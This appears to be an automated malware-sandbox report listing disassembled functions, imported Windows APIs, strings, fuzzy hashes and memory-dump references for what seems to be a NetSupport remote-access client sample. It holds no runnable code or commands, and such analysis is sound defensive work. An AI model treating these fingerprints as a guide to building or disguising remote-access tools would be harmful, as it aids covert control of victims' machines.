Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue_memsetwsprintf
String ID: %012d$NSLSP$PackedCatalogItem$SYSTEM\CurrentControlSet\Services\WinSock2\Parameters\Protocol_Catalog9\Catalog_Entries
API String ID: 1333399081-1346142259
Opcode ID: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction ID: a64b799103adf9c135d53574b09e6be9cb50a11e46eb2186d5edb4ec0545667f
Opcode Fuzzy Hash: 84934bdfb91b7ebcf4e6f2c3203863e6180bcc70d996f63089e2766c34812b78
Instruction Fuzzy Hash: 70419E71D022699EEB10DF64DD94BDEF7B8EB04314F0445E8D819A7281EB34AB48CF90

Uniqueness

Uniqueness Score: -1.00%

Function 11010140, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 1101016D
std::_Lockit::_Lockit.LIBCPMT ref: 11010190
std::bad_exception::bad_exception.LIBCMT ref: 11010214
__CxxThrowException@8.LIBCMT ref: 11010222
std::_Lockit::_Lockit.LIBCPMT ref: 11010235
std::locale::facet::_Facet_Register.LIBCPMT ref: 1101024F

Strings

bad cast, xrefs: 1101020C

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: 4b3f858ebc0426ead76b86d9121e1f9dc6cb804146d186f75a8d1f8c1ed44c34
Instruction ID: 8605f433ca934ff223fddf63d9ff4cd14790153354e7e9eb7327a23900883db8
Opcode Fuzzy Hash: 4b3f858ebc0426ead76b86d9121e1f9dc6cb804146d186f75a8d1f8c1ed44c34
Instruction Fuzzy Hash: 5631F975E00256DFCB05DFA4C880BDEF7B8FB05328F440169D866AB288DB79E904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 111457A0, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 146COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,11195AD8), ref: 1114580D
SHGetFolderPathA.SHFOLDER(00000000,00000026,00000000,00000000,?,1111025B), ref: 1114584E
SHGetFolderPathA.SHFOLDER(00000000,0000001A,00000000,00000000,?), ref: 111458AB

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

FALSE || !"wrong nsmdir", xrefs: 1114586E
..\ctl32\util.cpp, xrefs: 111457C7, 11145869
nsmdir < GP_MAX, xrefs: 111457CC

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: FolderPath$ErrorExitFileLastMessageModuleNameProcesswsprintf
String ID: ..\ctl32\util.cpp$FALSE || !"wrong nsmdir"$nsmdir < GP_MAX
API String ID: 3494822531-1878648853
Opcode ID: 24d87a64627cab5ad91252514022c9cb8009f58f212d92025f6c6eeea78916e9
Instruction ID: 9d2f35c0ca678663173c9787aa50c950699104b7f99c1a06bf1b906e54d037ce
Opcode Fuzzy Hash: 24d87a64627cab5ad91252514022c9cb8009f58f212d92025f6c6eeea78916e9
Instruction Fuzzy Hash: F3515E76D0422E9BEB15CF24DC50BDDF7B4AF15708F6001A4DC897B681EB716A88CB91

Uniqueness

Uniqueness Score: -1.00%

Function 11163CB2, Relevance: 10.6, APIs: 7, Instructions: 74COMMON

Download Yara Rule

APIs

RtlDecodePointer.NTDLL(?,?,?,?,?,11163DB6,?,111DCCE0,0000000C,11163DE2,?,?,1116E4BB,11177F11), ref: 11163CC7
DecodePointer.KERNEL32(?,?,?,?,?,11163DB6,?,111DCCE0,0000000C,11163DE2,?,?,1116E4BB,11177F11), ref: 11163CD4
__realloc_crt.LIBCMT ref: 11163D11
__realloc_crt.LIBCMT ref: 11163D27
EncodePointer.KERNEL32(00000000,?,?,?,?,?,11163DB6,?,111DCCE0,0000000C,11163DE2,?,?,1116E4BB,11177F11), ref: 11163D39
EncodePointer.KERNEL32(?,?,?,?,?,?,11163DB6,?,111DCCE0,0000000C,11163DE2,?,?,1116E4BB,11177F11), ref: 11163D4D
EncodePointer.KERNEL32(-00000004,?,?,?,?,?,11163DB6,?,111DCCE0,0000000C,11163DE2,?,?,1116E4BB,11177F11), ref: 11163D55

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Pointer$Encode$Decode__realloc_crt
String ID:
API String ID: 4108716018-0
Opcode ID: 78b66c0ccf40e1ea873e96cc16d33ba7024ac8dccc44993d1929be3c3bf886a8
Instruction ID: 9b559eab580439f7d32e9cac7dbac1f1bc4b8bf1504d6bec0d436b7e194fb771
Opcode Fuzzy Hash: 78b66c0ccf40e1ea873e96cc16d33ba7024ac8dccc44993d1929be3c3bf886a8
Instruction Fuzzy Hash: EA11D632518236AFDB005F79DCD488EFBEDEB41268751043AE819D7211EBB2ED54DB80

Uniqueness

Uniqueness Score: -1.00%

Function 110178F0, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 71synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000330,000000FF), ref: 1101792C
CoInitialize.OLE32(00000000), ref: 11017935
_GetRawWMIStringW@16.PCICL32(Win32_ComputerSystem,00000001,?,?), ref: 1101795C
CoUninitialize.OLE32 ref: 110179C0

Strings

PCSystemTypeEx, xrefs: 1101796C
Win32_ComputerSystem, xrefs: 1101794D

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: PCSystemTypeEx$Win32_ComputerSystem
API String ID: 2407233060-578995875
Opcode ID: e36d99758dc03e0598981b4f88c4856ef9492612d0c70df356ba7875e798591a
Instruction ID: 979ee595df3e366e36f6db43f9274242a875182caa54ddfda208ac7f01cc4ef4
Opcode Fuzzy Hash: e36d99758dc03e0598981b4f88c4856ef9492612d0c70df356ba7875e798591a
Instruction Fuzzy Hash: BE213EB5D0166A9FDB11CFA48C40BBAB7E99F4170CF0000B4EC59DB188EB79D544D791

Uniqueness

Uniqueness Score: -1.00%

Function 11017810, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 70synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000330,000000FF), ref: 11017842
CoInitialize.OLE32(00000000), ref: 1101784B
_GetRawWMIStringW@16.PCICL32(Win32_SystemEnclosure,00000001,?,?), ref: 11017872
CoUninitialize.OLE32 ref: 110178D0

Strings

Win32_SystemEnclosure, xrefs: 11017863
ChassisTypes, xrefs: 11017882

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: InitializeObjectSingleStringUninitializeW@16Wait
String ID: ChassisTypes$Win32_SystemEnclosure
API String ID: 2407233060-2037925671
Opcode ID: 7fe03c0a07b0f7c8829a27351349684dd2fb94aad29d92fbe6e61ac0174dbd6e
Instruction ID: 35f99737241494c501e89beb979cd88c9c6eddc8ed8b09fe319fdcc96c080ea2
Opcode Fuzzy Hash: 7fe03c0a07b0f7c8829a27351349684dd2fb94aad29d92fbe6e61ac0174dbd6e
Instruction Fuzzy Hash: D7210875D4112A9BD711CFA4CD40BAEBBE89F40309F0000A4EC29DB244EE75D910C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 11110040, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 52synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,00000000,77109EB0,00000000,?,11110F55,11110AF0,00000001,00000000), ref: 11110057
CreateThread.KERNEL32(00000000,11110F55,00000001,00000000,00000000,0000000C), ref: 1111007A
WaitForSingleObject.KERNEL32(?,000000FF,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100A7
FindCloseChangeNotification.KERNEL32(?,?,11110F55,11110AF0,00000001,00000000,?,?,?,?,?,11031700), ref: 111100B1

Strings

..\ctl32\Refcount.cpp, xrefs: 1111008B
hThread, xrefs: 11110090

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: Create$ChangeCloseEventFindNotificationObjectSingleThreadWait
String ID: ..\ctl32\Refcount.cpp$hThread
API String ID: 2579639479-1136101629
Opcode ID: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction ID: 76930d23ba1481c48ceb924dc08d7adf498fcac35268297604c83f904cd53e19
Opcode Fuzzy Hash: 4687833a1936dd26f91b2846a9cb7115301389be075d2048120d977a93bdefe6
Instruction Fuzzy Hash: A0018435780715BFF3208EA5CD85F57FBA9DB45765F104138FA259B6C4D670E8048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 11145F00, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 80registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,SOFTWARE\Productive Computer Insight\PCICTL,00000000,00000100,?,00000000,00000000), ref: 11145F70
RegCloseKey.ADVAPI32(?), ref: 11145FD4

Strings

ForceRTL, xrefs: 11145F93
SOFTWARE\NetSupport Ltd\PCICTL, xrefs: 11145F50
SOFTWARE\Productive Computer Insight\PCICTL, xrefs: 11145F37, 11145F6E

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseOpen
String ID: ForceRTL$SOFTWARE\NetSupport Ltd\PCICTL$SOFTWARE\Productive Computer Insight\PCICTL
API String ID: 47109696-3245241687
Opcode ID: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction ID: 1d1f817806b548678a0140876f7b35b9e852c49707e53231e183cf95c3cf5809
Opcode Fuzzy Hash: a2c2ae4e5c4c2a275a787743371364b614ebaa02131a0ba05eddfad67ef0d136
Instruction Fuzzy Hash: 1E21DD71E0022A9BE764DA64CD80FDEF778AB45718F1041AAE81DF3941D7319D458BA3

Uniqueness

Uniqueness Score: -1.00%

Function 111479B0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 111479DF
wsprintfA.USER32 ref: 11147A16

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

#%d, xrefs: 11147A10
i < _tsizeof (buf), xrefs: 11147A30
..\ctl32\util.cpp, xrefs: 11147A2B

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction ID: f4f04ea69c0c381d0959b313e9907706ba85fe26c30e15a9a088fcfc7c116df7
Opcode Fuzzy Hash: ea150ba1ed1813b9988ca83ab64a483803357b5974e9feb7492af342d5ed009e
Instruction Fuzzy Hash: 6811E5FAE00218A7D710DEA49D81FEAF36C9B44608F100165FB08F6141EB70AA05CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 111101B0, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 111101C9

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

wsprintfA.USER32 ref: 111101E4

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32 ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

_memset.LIBCMT ref: 11110207

Strings

Can't alloc %u bytes, xrefs: 111101DE
..\ctl32\Refcount.cpp, xrefs: 111101F5

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$AllocateErrorExitHeapLastMessageProcess_malloc_memset
String ID: ..\ctl32\Refcount.cpp$Can't alloc %u bytes
API String ID: 3234921582-2664294811
Opcode ID: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction ID: 098e5996781ad60247c7fcf5caa4ca36f886f8102b778af333740a2f918ca33d
Opcode Fuzzy Hash: cdd1c54386482822face1726c8a555e59ef6984596166c085d167c5bbae17b0a
Instruction Fuzzy Hash: C0F0F6B6E4022863C7209AA49D01FEFF37C9F91609F0001A9FE05B7241EA75AA11C7E5

Uniqueness

Uniqueness Score: -1.00%

Function 11145240, Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(11145918,00000000,?,11145918,00000000), ref: 1114525C
__strdup.LIBCMT ref: 11145277

Part of subcall function 11081E00: _strrchr.LIBCMT ref: 11081E0E

Part of subcall function 11145240: _free.LIBCMT ref: 1114529E

_free.LIBCMT ref: 111452AC

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

CreateDirectoryA.KERNEL32(11145918,00000000,?,?,?,11145918,00000000), ref: 111452B7

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$AttributesCreateDirectoryErrorFileFreeHeapLast__strdup_strrchr
String ID:
API String ID: 398584587-0
Opcode ID: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction ID: a914e2cea8ad1481f503ba01f1d1a08edacf548165b8a11fd341c03149d2e1b0
Opcode Fuzzy Hash: 0f4bda93c2fa95a79c6cfec15824fc43f5b70deef06045cf9c901e7bc6b82896
Instruction Fuzzy Hash: 9301D276A04216ABF34115BD6D01FABBB8C8BD2A78F240173F84DD6A81E752E41681A2

Uniqueness

Uniqueness Score: -1.00%

Function 1100EE20, Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 1100EE52

Part of subcall function 111616DA: _setlocale.LIBCMT ref: 111616EC

_free.LIBCMT ref: 1100EE64

Part of subcall function 11163AA5: HeapFree.KERNEL32(00000000,00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ABB
Part of subcall function 11163AA5: GetLastError.KERNEL32(00000000,?,1116C666,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163ACD

_free.LIBCMT ref: 1100EE77
_free.LIBCMT ref: 1100EE8A
_free.LIBCMT ref: 1100EE9D

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925339348.00000000112AD000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925355421.00000000112AF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925363264.00000000112B4000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925389761.00000000112DF000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925487055.000000001132B000.00000002.00020000.sdmp Download File

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLastLocinfo::_Locinfo_dtor_setlocalestd::_
String ID:
API String ID: 3515823920-0
Opcode ID: 2e35b712453e3aca300581a17372c071556ff8d0d73a2570e12bcc12396a77d4
Instruction ID: a44a88996e3d62c283fa82fd04d5e1258298656dbf2da44853d36c331dab430a
Opcode Fuzzy Hash: 2e35b712453e3aca300581a17372c071556ff8d0d73a2570e12bcc12396a77d4
Instruction Fuzzy Hash: 9511B2F2D046559BE720CF99D800A5BFBECEB50764F144A2AE49AD3640E7B2F904CA51

Uniqueness

Uniqueness Score: -1.00%

Function 11143E00, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,1111025B,745EC740,?), ref: 11143E97
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 11143EB7
FindCloseChangeNotification.KERNEL32(00000000), ref: 11143EBF

Strings

", xrefs: 11143E4E

Memory Dump Source

Source File: 00000006.00000002.924887973.0000000011001000.00000020.00020000.sdmp, Offset: 11000000, based on PE: true

Associated: 00000006.00000002.924874166.0000000011000000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925116942.0000000011194000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925172814.00000000111E2000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925190841.00000000111F1000.00000004.00020000.sdmp Download File
Associated: 00000006.00000002.925205926.00000000111F7000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925266294.000000001125D000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925307441.0000000011288000.00000002.00020000.sdmp Download File
Associated: 00000006.00000002.925330564.000000001129E000.00000002.00020000.sdmp Download File
